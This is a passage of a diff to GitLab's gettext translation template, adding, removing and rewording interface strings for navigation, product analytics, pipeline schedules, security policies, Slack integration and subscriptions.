-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
